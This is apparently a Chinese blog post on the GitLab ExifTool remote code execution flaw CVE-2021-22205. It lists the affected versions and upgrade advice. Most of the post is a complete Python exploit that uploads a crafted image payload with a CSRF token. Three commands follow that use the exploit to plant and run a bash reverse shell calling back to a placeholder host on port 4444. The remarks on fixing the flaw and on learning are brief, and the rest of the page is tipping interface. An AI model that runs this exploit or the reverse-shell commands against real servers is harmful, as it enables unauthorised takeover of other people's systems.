GitLab 远程命令执行漏洞(CVE-2021-22205)

此博客揭示了GitLab中ExifTool存在的高风险漏洞,攻击者可通过恶意图片执行任意命令。建议用户及时更新至13.8.8以上版本,以防止权限获取和代码执行。修复详情及PoC代码提供参考。

概述
风险等级:高
缺陷描述:

由于GitLab中的ExifTool没有对传入的图像文件的扩展名进行正确处理,攻击者通过上传特制的恶意图片,可以在目标服务器上执行任意命令。此次受影响版本为11.9 <= Gitlab CE/EE < 13.8.8;13.9 <= Gitlab CE/EE < 13.9.6;13.10 <= Gitlab CE/EE < 13.10.3。

危害描述
利用该漏洞获取服务器权限,实现远程代码执行。

漏洞复现:
开启监听端口。
在这里插入图片描述

使用poc,进行反弹shell操作。

import sys
import re
import requests


target = sys.argv[1]
command = sys.argv[2]
session = requests.session()
CSRF_PATTERN = re.compile(rb'csrf-token" content="(.*?)" />')

def get_payload(command):
    rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d'
    rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True)
    rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61'
    rce_payload += (len(command) + 0x2f).to_bytes(length=4, byteorder='big', signed=True)
    rce_payload += b'\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b'
    rce_payload += command.encode()
    rce_payload += b'\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a'
    return rce_payload

def csrf_token():
    response = session.get(f'{target}/users/sign_in', headers={'Origin': target})
    g = CSRF_PATTERN.search(response.content)
    assert g, 'No CSRF Token found'

    return g.group(1).decode()


def exploit():
    files = [('file', ('test.jpg', get_payload(command), 'image/jpeg'))]
    session.post(f'{target}/uploads/user', files=files, headers={'X-CSRF-Token': csrf_token()})


if __name__ == '__main__':
    exploit()
    print('finish test')
python poc.py http://your-ip:8080 "echo 'bash -i >& /dev/tcp/xxxxxxxx/4444 0>&1' > /tmp/1.sh"
python poc.py http://your-ip:8080 "chmod +x /tmp/1.sh"
python poc.py http://your-ip:8080 "/bin/bash /tmp/1.sh"

在这里插入图片描述

成功反弹shell。
在这里插入图片描述修复建议
1.目前官方已发布新版本修复了该漏洞,请受影响的用户尽快升级至最新 版本进行防护,官方下载链接:https://about.gitlab.com/update/

注:该文章仅限技术学习

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

weixin_42299610

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值